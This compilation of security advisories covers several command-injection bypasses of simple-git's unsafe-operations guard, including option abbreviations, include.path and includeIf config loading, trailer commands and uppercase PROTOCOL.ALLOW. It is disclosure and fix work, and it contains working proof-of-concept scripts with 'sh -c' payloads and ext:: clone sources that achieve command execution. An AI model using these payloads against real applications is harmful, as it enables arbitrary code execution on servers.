Versions of the package simple-git before 3.36.0 are vulnerable to Remote Code Execution (RCE) due to an incomplete fix for CVE-2022-25912 that blocks the -c option but not the equivalent --config form. If untrusted input can reach the options argument passed to simple-git, an attacker may still achieve remote code execution by enabling protocol.ext.allow=always and using an ext:: clone source.
simple-git, an interface for running git commands in any node.js application, enables applications to execute Git operations from JavaScript. Prior to 4.0.0, the default blockUnsafeOperationsPlugin compares parsed option names with literal dangerous option spellings while Git accepts unambiguous long-option abbreviations. Attacker-influenced push arguments such as abbreviated --receive-pack or --exec forms can therefore bypass detectVulnerableFlags, reach git push against a local or file remote or an attacker-influenced receive-pack target, and cause Git to invoke an attacker-selected command in consumers that expose those arguments. The clone-side abbreviation handling does not protect the push path. This issue is fixed in 4.0.0.
Summary
simple-git enables running native Git commands from JavaScript. Some commands accept options that allow executing another command; because this is very dangerous, execution is denied unless the user explicitly allows it. This vulnerability allows a malicious actor who can control the options to execute other commands even in a “safe” state where the user has not explicitly allowed them. The vulnerability was introduced by an incorrect patch for CVE-2022-25860. It is likely to affect all versions prior to and including 3.28.0.
Detail
This vulnerability was introduced by an incorrect patch for CVE-2022-25860.
It was reproduced in the following environment:
WSL Docker node: v22.19.0 git: git version 2.39.5 simple-git: 3.28.0
The issue was not reproduced on Windows 11.
The -u option, like --upload-pack, allows a command to be executed.
Currently, the -u and --upload-pack options are blocked in the file simple-git/src/lib/plugins/block-unsafe-operations-plugin.ts.
ts function preventUploadPack(arg: string, method: string) { if (/^\s--(upload|receive)-pack/.test(arg)) { throw new GitPluginError( undefined, 'unsafe', Use of --upload-pack or --receive-pack is not permitted without enabling allowUnsafePack ); }
if (method === 'clone' && /^\s-u\b/.test(arg)) { throw new GitPluginError( undefined, 'unsafe', Use of clone with option -u is not permitted without enabling allowUnsafePack ); }
if (method === 'push' && /^\s--exec\b/.test(arg)) { throw new GitPluginError( undefined, 'unsafe', Use of push with option --exec is not permitted without enabling allowUnsafePack ); } }
However, the problem is that command option parsing is quite flexible.
By brute forcing, I found various options that bypass the -u check.
[ '--u', '--u', '-4u', '-6u', '-lu', '-nu', '-qu', '-su', '-vu' ]
All of the above are three-character options that allow command execution. They enable execution even when allowUnsafePack is explicitly set to false.
The depressing fact is that the options I found are probably only a tiny fraction of all possible option formats that enable command execution. In addition to the -u option, there is also the --upload-pack option and others, and some of the options I found can probably be extended to arbitrary length. Considering this, the number of option variants that enable command execution is probably infinite.
Therefore, I could not find an effective way to block all such cases. Personally, I think it is virtually impossible to block this vulnerability completely. To fully block it, one would have to faithfully emulate Git’s option parsing rules, and it’s doubtful whether that is feasible.
Just in case, I’ll share the brute-force code I used to find options that enable command execution.
js const fs = require('fs'); const simpleGit = require('simple-git');
const TMPDIR = './pwned/'; const ITER = 256;
function cleanTmpDir() { if (fs.existsSync(TMPDIR)) { fs.rmSync(TMPDIR, { recursive: true, force: true }); } fs.mkdirSync(TMPDIR, { recursive: true }); }
function getPwnedFiles() { const found = []; for (let i = 0; i < ITER; i++) { const fname1 = ${TMPDIR}1${i}; const fname2 = ${TMPDIR}2${i}; const fname3 = ${TMPDIR}3${i}; if (fs.existsSync(fname1)) found.push(String.fromCharCode(i) + '-u'); if (fs.existsSync(fname2)) found.push('-' + String.fromCharCode(i) + 'u'); if (fs.existsSync(fname3)) found.push('-u' + String.fromCharCode(i)); } return found; }
async function runTest(runIdx) { const git = simpleGit(); // 1. ${~}-u Pattern for (let i = 0; i < ITER; i++) { try { await git.clone('./testrepo1', './testrepo2', [String.fromCharCode(i) + '-u', sh -c \"touch ${TMPDIR}1${i}\"]); } catch {} } // 2. -${~}u Pattern for (let i = 0; i < ITER; i++) { try { await git.clone('./testrepo1', './testrepo2', ['-' + String.fromCharCode(i) + 'u', sh -c \"touch ${TMPDIR}2${i}\"]); } catch {} } // 3. -u${~} Pattern for (let i = 0; i < ITER; i++) { try { await git.clone('./testrepo1', './testrepo2', ['-u' + String.fromCharCode(i), sh -c \"touch ${TMPDIR}3${i}\"]); } catch {} } }
async function main() { cleanTmpDir(); await runTest();
const found = getPwnedFiles(); console.log(found); }
main();
PoC
The environment in which I succeeded is as follows. As long as the OS remains Linux, I suspect it will succeed reliably despite considerable variation in other factors.
WSL Docker node: v22.19.0 git: git version 2.39.5 simple-git: 3.28.0
1.
Create any git repository inside the testrepo1 folder. A very simple repository with a single commit and a single file is fine.
2.
Run the following:
js const { simpleGit } = require('simple-git');
async function main() { const git = await simpleGit({ unsafe: { allowUnsafePack: false } }); await git.clone('./testrepo1', './testrepo2', [-vu sh -c \"touch /tmp/pwned\"]); }
main();
This PoC explicitly configures allowUnsafePack to false. Of course, the same vulnerability occurs even without this option. An error is the expected behavior.
3.
Check /tmp to confirm that pwned has been created. If it failed, try replacing -vu with a different option from the list.
Impact
This vulnerability is likely to affect all versions prior to and including 3.28.0. This is because it appears to be a continuation of the series of four vulnerabilities previously found in simple-git (CVE-2022-24433, CVE-2022-24066, CVE-2022-25912, CVE-2022-25860).
Summary
An OS command injection vulnerability in git.clone() allows any application that flows attacker-influenced data into customArgs to execute arbitrary code. simple-git 3.36.0 (current latest on npm) ships without any include.path entry in the blockUnsafeOperationsPlugin denylist. Passing -c include.path=<file> via customArgs loads any local file as a gitconfig. The loaded file can set core.sshCommand (or any otherwise-denied key), and the next remote operation in the same clone executes the attacker's command.
PR #1167 (merged to main 2026-05-10, not yet released to npm) adds preventConfigBuilder('include.path', 'allowUnsafeInclude') to the denylist. The generated regex /\sinclude.path/ closes the plain spelling but does not match the conditional form includeIf.<cond>.path. The variant therefore survives the upcoming release if the regex is not tightened in the same cycle.
This sits in the same denylist class as the prior incomplete-fix chain (CVE-2022-24433, CVE-2022-24066, CVE-2022-25912, CVE-2022-25860, CVE-2026-28291, CVE-2026-28292). include and includeIf are not referenced in any published advisory, in any commit prior to PR #1167, or anywhere in the 3.36.0 source.
Details
Two sinks share the same root cause: the denylist is incomplete.
Sink A: published 3.36.0 has no include.path entry
packages/argv-parser/src/vulnerabilities/detect-vulnerable-config-writes.ts in the v3.36.0 tag contains no entry for include.path or includeIf..path. The argv parser recognises -c include.path=<file> and -c includeIf.<cond>.path=<file> as config writes, but detectVulnerableConfigWrites iterates a denylist that does not include either key. The plugin returns no vulnerability and the operation proceeds.
Sink B: pending PR #1167 regex misses includeIf
PR #1167 adds:
ts const preventUnsafeConfig = [ // ... preventConfigBuilder('include.path', 'allowUnsafeInclude'), // ... ];
preventConfigBuilder constructs a non-anchored regex from the string:
ts function preventConfigBuilder(config, category, message) { const regex = typeof config === 'string' ? new RegExp(\\s${config.toLowerCase()}) : config; return function preventCommand(key) { if (regex.test(key)) { / throw / } }; }
For 'include.path', the generated regex is /\sinclude.path/. The . between include and path is a regex wildcard. The engine matches include plus exactly one arbitrary character plus path. Conditional include keys have the form includeIf.<condition>.path (includeIf.gitdir:.path, includeIf.onbranch:main.path, includeIf.hasconfig:r.u:.path, etc.). The substring between include and path is if.<condition>:, always longer than one character. The 11-character match window cannot align and the test returns false.
js /\sinclude.path/.test('include.path') // true /\sinclude.path/.test('includeif.gitdir:.path') // false /\sinclude.path/.test('includeif.onbranch:main.path') // false
The argv parser at packages/argv-parser/src/argv/analyse-config.ts correctly recognises both include.path=... and includeIf.gitdir:.path=... as config writes; both yield a ConfigWrite with the lowercased key. The defect is purely in the denylist regex (after PR #1167) and in the entry being absent (before PR #1167).
Exploitation chain
1. Attacker writes a gitconfig to any path the simple-git process can read. Realistic write primitives: file upload (avatar, attachment, CI artifact, S3-mounted bucket), shared /tmp in multi-tenant runners, log poisoning that lands [core] headers in a log path, predictable artifact paths, container volume mounts the attacker controls.
[core] sshCommand = "/bin/sh -c 'id > /tmp/pwned; touch /tmp/RCE'"
2. Attacker triggers git.clone() with crafted customArgs. Either the URL or the customArgs flow from attacker-influenced input. This is the documented threat model of blockUnsafeOperationsPlugin.
3. cloneTask assembles ['clone', '-c', '<payload>', pathspec(url), pathspec(dst)].
4. blockUnsafeOperationsPlugin runs parseArgv and collectWriteFlags, yielding the write. detectVulnerableConfigWrites iterates the denylist. In 3.36.0 the denylist has no entry. After PR #1167 the denylist has an entry but its regex does not match includeif.gitdir:.path. Either way, no vulnerability is yielded and the plugin permits the operation.
5. suffixPathsPlugin moves pathspec items to the suffix. Final argv: git clone -c <payload> -- ssh://target.example/repo.git /tmp/dst.
6. git clone has its own -c / --config option (-c <key>=<value>, --config <key>=<value> per git clone --help), so a -c immediately after the subcommand is honoured by clone itself. Git evaluates the include (the conditional form uses an empty gitdir: pattern that matches the current gitdir), reads /tmp/attacker.cfg, registers core.sshCommand.
7. Git invokes ssh through the configured command. Attacker's shell payload runs in the simple-git process's context.
git clone is the unique git subcommand that honours -c after itself. git fetch -c k=v, git pull -c k=v, git push -c k=v all reject the placement (those subcommands treat -c as a global option that must precede them). Since simple-git always places the subcommand at argv[0], user-controlled -c in customArgs always lands after the subcommand. Clone is the entry point for both sinks.
Secondary chain: HOME and XDGCONFIGHOME not in parseEnv denylist
packages/argv-parser/src/env/parse-env.ts:5-25 lists env keys removed from the spawned-process environment when sourced from git.env(...). HOME, XDGCONFIGHOME, and similar config-resolution keys are absent. Calling git.env({HOME: '/tmp/fake-home'}) makes git read /tmp/fake-home/.gitconfig, which the attacker controls. Same exploit primitive, parallel surface. Should be addressed in the same fix.
PoC
Reproduction from a clean install:
bash mkdir /tmp/sg-poc && cd /tmp/sg-poc npm init -y npm install simple-git@3.36.0 cat > poc.js <<'EOF' const { simpleGit } = require('simple-git'); const fs = require('fs');
fs.writeFileSync('/tmp/sg-attacker.cfg', [core]\nsshCommand = "/bin/sh -c 'id > /tmp/sg-id; touch /tmp/sg-pwned'"\n);
const git = simpleGit({ baseDir: '/tmp' });
(async () => { // Sink A: plain include.path works on published 3.36.0 (no denylist entry). // Swap to 'includeIf.gitdir:.path=...' to demonstrate Sink B against PR #1167. const payload = 'include.path=/tmp/sg-attacker.cfg';
try { await git.clone( 'ssh://nonexistent.example.com/repo.git', '/tmp/sg-rce-dst', ['-c', payload] ); } catch () { / clone fails after sshCommand has already run / }
await new Promise(r => setTimeout(r, 500)); console.log(fs.readFileSync('/tmp/sg-id', 'utf8')); })(); EOF node poc.js
Output on simple-git 3.36.0:
uid=0(root) gid=0(root) groups=0(root)
Swapping the payload to 'includeIf.gitdir:.path=/tmp/sg-attacker.cfg' reproduces the same RCE on 3.36.0 and is the variant that will survive the PR #1167 release.
Impact
Pre-authentication remote code execution in any server that flows attacker-influenced data into customArgs of clone() or mirror(). simple-git is approximately 9.4M weekly downloads on npm. Affected consumer patterns:
- CI/CD systems and custom GitHub Actions / Buildkite plugins / GitLab cache helpers - PaaS and hosting platforms that accept customer-tunable git options - Code analyzers and security scanners that clone user-supplied repos - Bot frameworks (Probot, GitOps controllers) that wrap simple-git - AI agent frameworks that auto-clone repositories for analysis - VS Code extensions, Electron tools, and dev tooling that pass options through
The chain needs one byte of attacker-writable, process-readable storage in addition to customArgs influence. In consumers where the file-write primitive is co-located with the clone trigger (single-request file upload + clone, multi-tenant CI runners with shared /tmp, agent frameworks that write per-task scratch files), this is effectively unauthenticated pre-auth RCE with AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 Critical. The form value uses the conservative AC:H = 8.1 baseline that accounts for the separate-request case.
Distinction from prior advisories and pending fix
Reviewed the published GHSA list at steveukx/git-js/security/advisories. Two advisories are published:
- GHSA-jcxm-m3jx-f287 (CVE-2026-28291, High): generic option-parsing class addressed by the 3.32.0 refactor - GHSA-r275-fr43-pm7q (CVE-2026-28292, Critical): case-insensitive protocol.allow form
Neither mentions include, includeIf, or conditional includes. The terms do not appear anywhere in source files, tests, or commits in the repository at any tagged release. PR #1167 (merged to main 2026-05-10) is the first commit anywhere in the repository to reference include.path. It addresses the plain form but its regex misses the conditional includeIf.<cond>.path spelling.
The published 3.36.0 vulnerability (Sink A) is unaddressed in any released version. The pending PR #1167 (Sink B) addresses the plain key but leaves the conditional variant open. Both should land in one release.
Suggested fix
In packages/argv-parser/src/vulnerabilities/detect-vulnerable-config-writes.ts, add the plain include.path entry and ensure conditional forms are covered:
ts preventConfigBuilder('include.path', 'allowUnsafeInclude'), preventConfigBuilder(/^\sincludeif[^.](\..+)\.path/i, 'allowUnsafeInclude', 'include.path'),
Alternatively pre-process the key in parseAssignment to strip the if.<condition>: decoration before testing against include.path, since includeIf is semantically equivalent to include for security purposes.
Stronger, longer-term fix: invert the model. Reject any -c, --config, --config-env in customArgs unconditionally and require callers to use the typed config: option (already prefix-checked through the same plugin). Git's config namespace is open-ended; new dangerous keys land in every git release. A denylist will need new entries indefinitely.
Also extend parseEnv to drop HOME, XDGCONFIGHOME, and any env key that affects config-file resolution.
Affected product
The default blockUnsafeOperationsPlugin in simple-git when an application permits untrusted values to reach SimpleGitOptions.config or Git inline configuration arguments such as -c <key>=<value>.
Summary
trailer.<token>.cmd is not recognized as unsafe by the default guard. Therefore, a configured inline value reaches Git without a GitPluginError.
Git documents trailer.<token>.cmd as a shell command invoked by git interpret-trailers. An application that relies on the default plugin to reject unsafe configuration can therefore execute a command supplied through an untrusted trailer-command configuration value.
Technical details
simple-git/src/lib/git-factory.ts installs commandConfigPrefixingPlugin before blockUnsafeOperationsPlugin. The prefixing plugin in simple-git/src/lib/plugins/command-config-prefixing-plugin.ts turns every SimpleGitOptions.config entry into -c <key>=<value> before the unsafe-operation plugin evaluates the final argv.
In simple-git@3.36.0, blockUnsafeOperationsPlugin delegates to @simple-git/argv-parser. packages/argv-parser/src/vulnerabilities/detect-vulnerable-config-writes.ts compares parsed configuration writes against preventUnsafeConfig. That list has no matcher for trailer.<token>.cmd, so the invocation is allowed.
Git v2.39.5's Documentation/git-interpret-trailers.txt states that trailer.<token>.cmd specifies a shell command called to generate or modify a trailer.
Preconditions
The application must use an affected simple-git version with the default unsafe-operation plugin active and must pass attacker-controlled data into instance configuration or Git command arguments that configure trailer.<token>.cmd.
The invoked Git binary must support the documented trailer-command behavior, and the application must execute git interpret-trailers with the attacker-controlled configuration in scope. The command runs with the operating-system identity and permissions of the Node.js process.
Verification
Use an isolated test environment and a harmless executable test helper that records only its invocation.
Control: Configure core.editor=<test-helper> through SimpleGitOptions.config and invoke a benign Git task. The default plugin should throw GitPluginError before spawning Git because core.editor is present in preventUnsafeConfig.
Bypass: Configure trailer.audit.cmd=<test-helper> through the same option and invoke Git with the equivalent argv shape:
git -c trailer.audit.cmd=<test-helper> interpret-trailers --trailer audit:<value> <input-file>
A vulnerable build does not raise GitPluginError; Git invokes the test helper while processing the trailer. Confirm the helper invocation, then remove test artifacts.
Impact
An attacker who controls the stated configuration input can cause Git to execute a shell command as the Node.js application process. The impact is bounded by that process's filesystem, network, and service permissions. Applications that do not expose untrusted configuration or command arguments to simple-git are outside this threat model.
Affected versions
Commit 6b3c631eadea81f80ed10f6dec7d19a9db4d7084 introduced the default unsafe-operation plugin, and simple-git@3.15.0 is the first release confirmed to contain it. Its implementation only rejected protocol.allow configuration, leaving trailer-command configuration unblocked.
The latest simple-git release, 3.36.0, still lacks a trailer-command matcher. The current main branch also lacks one. No released remediation was identified.
Remediation
Default-deny configuration keys that can trigger executable behavior, or add a dedicated unsafe category that rejects trailer.<token>.cmd before spawning Git unless the application explicitly opts in.
Evaluate trailer.<token>.command alongside .cmd, because Git documents it as related command behavior. Add parser and integration tests for leading -c, configured instance prefixes, and git config write forms, asserting that no Git child process is spawned without an explicit unsafe opt-in.
Evidence
- simple-git@3.15.0 was released on 2022-11-12 and contains the initial unsafe-operation plugin. - simple-git@3.36.0 was released on 2026-04-12; its parser source does not match trailer.<token>.cmd. - main retains the missing matcher in packages/argv-parser/src/vulnerabilities/detect-vulnerable-config-writes.ts. - Git v2.39.5 documents the trailer command behavior in Documentation/git-interpret-trailers.txt. - PR #1167 expanded other configuration checks but did not add a trailer-command matcher and is not release-backed as a remediation. - This review verified repository, release, and source artifacts through GitHub; it did not independently execute the runtime reproduction.
Summary
The blockUnsafeOperationsPlugin in simple-git fails to block git protocol override arguments when the config key is passed in uppercase or mixed case. An attacker who controls arguments passed to git operations can enable the ext:: protocol by passing -c PROTOCOL.ALLOW=always, which executes an arbitrary OS command on the host machine.
---
Details
The preventProtocolOverride function in simple-git/src/lib/plugins/block-unsafe-operations-plugin.ts (line 24) checks whether a -c argument configures protocol.allow using this regex:
ts if (!/^\sprotocol(.[a-z]+)?.allow/.test(next)) { return; }
This regex is case-sensitive. Git treats config key names case-insensitively — it normalises them to lowercase internally. As a result, passing PROTOCOL.ALLOW=always, Protocol.Allow=always, or any mixed-case variant is not matched by the regex, the check returns without throwing, and git is spawned with the unsafe argument.
Verification that git normalises the key:
bash $ git -c PROTOCOL.ALLOW=always config --list | grep protocol protocol.allow=always
The fix is a single character — add the /i flag:
ts // Before (vulnerable): if (!/^\sprotocol(.[a-z]+)?.allow/.test(next)) {
// After (fixed): if (!/^\sprotocol(.[a-z]+)?.allow/i.test(next)) {
---
poc.js
js / Proof of Concept — simple-git preventProtocolOverride Case-Sensitivity Bypass CVE-2022-25912 was fixed in simple-git@3.15.0 by adding a regex check that blocks -c protocol..allow=always from being passed to git commands. The regex is case-sensitive. Git treats config key names case-insensitively. Passing -c PROTOCOL.ALLOW=always bypasses the check entirely. Affected : simple-git >= 3.15.0 (all versions with the fix applied) Tested on: simple-git@3.32.2, Node.js v23.11.0, git 2.39.5 Reporter : CodeAnt AI Security Research (securityreseach@codeant.ai) /
const simpleGit = require('simple-git'); const fs = require('fs');
const SENTINEL = '/tmp/pwn-codeant';
// Clean up from any previous run try { fs.unlinkSync(SENTINEL); } catch () {}
const git = simpleGit();
// ── Original CVE-2022-25912 vector — BLOCKED by the 2022 fix ──────────────── // This is the exact PoC Snyk used to report CVE-2022-25912. // It is correctly blocked by preventProtocolOverride in block-unsafe-operations-plugin.ts. git.clone('ext::sh -c touch% /tmp/pwn-original% >&2', '/tmp/example-new-repo', [ '-c', 'protocol.ext.allow=always', // lowercase — caught by regex ]).catch((e) => { console.log('ext:: executed:poc', fs.existsSync(SENTINEL) ? 'PWNED — ' + SENTINEL + ' created' : 'not created'); console.error(e); });
// ── Bypass — PROTOCOL.ALLOW=always (uppercase) ────────────────────────────── // The fix regex /^\sprotocol(.[a-z]+)?.allow/ is case-sensitive. // Git normalises config key names to lowercase internally. // Uppercase variant passes the check; git enables ext:: and executes the command. git.clone('ext::sh -c touch% ' + SENTINEL + '% >&2', '/tmp/example-new-repo-2', [ '-c', 'PROTOCOL.ALLOW=always', // uppercase — NOT caught by regex ]).catch((e) => { console.log('ext:: executed:', fs.existsSync(SENTINEL) ? 'PWNED — ' + SENTINEL + ' created' : 'not created'); console.error(e); });
// ── Real-world scenario ────────────────────────────────────────────────────── // An application cloning a legitimate repository with user-controlled customArgs. // Attacker supplies PROTOCOL.ALLOW=always alongside a malicious ext:: URL. // The application intends to clone https://github.com/CodeAnt-AI/codeant-quality-gates // but the injected argument enables ext:: and the real URL executes the command instead. // // Legitimate usage (what the app expects): // simpleGit().clone('https://github.com/CodeAnt-AI/codeant-quality-gates', // '/tmp/codeant-quality-gates', userArgs) // // Attacker-controlled scenario (what actually runs when args are not sanitised): const LEGITIMATEURL = 'https://github.com/CodeAnt-AI/codeant-quality-gates'; const CLONEDEST = '/tmp/codeant-quality-gates'; const SENTINELRW = '/tmp/pwn-realworld'; try { fs.unlinkSync(SENTINELRW); } catch () {}
const userArgs = ['-c', 'PROTOCOL.ALLOW=always']; const attackerURL = 'ext::sh -c touch% ' + SENTINELRW + '% >&2';
simpleGit().clone( attackerURL, // should have been LEGITIMATEURL CLONEDEST, userArgs ).catch(() => { console.log('real-world scenario [target: ' + LEGITIMATEURL + ']:', fs.existsSync(SENTINELRW) ? 'PWNED — ' + SENTINELRW + ' created' : 'not created'); });
---
Test Results
Vector 1 — Original CVE-2022-25912 (protocol.ext.allow=always, lowercase)
Result: BLOCKED ✅
The original Snyk PoC payload using lowercase protocol.ext.allow=always is correctly intercepted by preventProtocolOverride before git is invoked. A GitPluginError is thrown immediately and the sentinel file is never created.
Output: ext:: executed:poc not created GitPluginError: Configuring protocol.allow is not permitted without enabling allowUnsafeExtProtocol at preventProtocolOverride (.../simple-git/dist/cjs/index.js:1228:9) at .../simple-git/dist/cjs/index.js:1266:40 at Array.forEach (<anonymous>) at Object.action (.../simple-git/dist/cjs/index.js:1264:12) at PluginStore.exec (.../simple-git/dist/cjs/index.js:1489:29) at GitExecutorChain.attemptRemoteTask (.../simple-git/dist/cjs/index.js:1881:36) at GitExecutorChain.attemptTask (.../simple-git/dist/cjs/index.js:1865:88) { task: { commands: [ 'clone', '-c', 'protocol.ext.allow=always', 'ext::sh -c touch% /tmp/pwn-original% >&2', '/tmp/example-new-repo' ], format: 'utf-8', parser: [Function: parser] }, plugin: 'unsafe' }
---
Vector 2 — Uppercase bypass (PROTOCOL.ALLOW=always)
Result: BYPASSED ⚠️ — RCE confirmed
The preventProtocolOverride regex /^\sprotocol(.[a-z]+)?.allow/ is case-sensitive. PROTOCOL.ALLOW=always (uppercase) passes the check without error. Git normalises config key names to lowercase internally, enabling the ext:: protocol. The injected shell command executes before git errors on the missing repository stream.
Output: ext:: executed: PWNED — /tmp/pwn-codeant created GitError: Cloning into '/tmp/example-new-repo-2'... fatal: Could not read from remote repository.
Please make sure you have the correct access rights and the repository exists.
at Object.action (.../simple-git/dist/cjs/index.js:1440:25) at PluginStore.exec (.../simple-git/dist/cjs/index.js:1489:29) { task: { commands: [ 'clone', '-c', 'PROTOCOL.ALLOW=always', 'ext::sh -c touch% /tmp/pwn-codeant% >&2', '/tmp/example-new-repo-2' ], format: 'utf-8', parser: [Function: parser] } }
/tmp/pwn-codeant was created by the git subprocess — command execution confirmed.
---
Vector 3 — Real-world scenario (target: https://github.com/CodeAnt-AI/codeant-quality-gates)
Result: BYPASSED ⚠️ — RCE confirmed
An application passes user-controlled customArgs to simpleGit().clone(). The attacker injects PROTOCOL.ALLOW=always and substitutes a malicious ext:: URL in place of the intended repository URL. The plugin does not block the uppercase variant; git enables ext:: and executes the payload before the application can detect the failure.
Output: real-world scenario [target: https://github.com/CodeAnt-AI/codeant-quality-gates]: PWNED — /tmp/pwn-realworld created
/tmp/pwn-realworld was created — arbitrary command execution in a realistic application context confirmed.
---
Summary
| # | Vector | Payload | Sentinel file | Result | |---|--------|---------|---------------|--------| | 1 | CVE-2022-25912 original | protocol.ext.allow=always (lowercase) | not created | Blocked ✅ | | 2 | Case-sensitivity bypass | PROTOCOL.ALLOW=always (uppercase) | /tmp/pwn-codeant created | RCE ⚠️ | | 3 | Real-world app scenario | PROTOCOL.ALLOW=always + attacker URL | /tmp/pwn-realworld created | RCE ⚠️ |
The case-sensitive regex in preventProtocolOverride blocks protocol..allow but does not account for uppercase or mixed-case variants. Git accepts all variants identically due to case-insensitive config key normalisation, allowing full bypass of the protection in all versions of simple-git that carry the 2022 fix.
/tmp/pwned is created by the git subprocess via the ext:: protocol.
All of the following bypass the check:
| Argument passed via -c | Regex matches? | Git honours it? | |--------------------------|:--------------:|:---------------:| | protocol.allow=always | ✅ blocked | ✅ | | PROTOCOL.ALLOW=always | ❌ bypassed | ✅ | | Protocol.Allow=always | ❌ bypassed | ✅ | | PROTOCOL.allow=always | ❌ bypassed | ✅ | | protocol.ALLOW=always | ❌ bypassed | ✅ |
---
Impact
Any application that passes user-controlled values into the customArgs parameter of clone(), fetch(), pull(), push() or similar simple-git methods is vulnerable to arbitrary command execution on the host machine.
The ext:: git protocol executes an arbitrary binary as a remote helper. With protocol.allow=always enabled, an attacker can run any OS command as the process user — full read, write and execution access on the host.
simple-git (maintained as git-js named repository on GitHub) is a light weight interface for running git commands in any node.js application.The package simple-git before 3.5.0 are vulnerable to Command Injection due to an incomplete fix of CVE-2022-24433 which only patches against the git fetch attack vector. A similar use of the --upload-pack feature of git is also supported for git clone, which the prior fix didn't cover. A fix was released in simple-git@3.5.0.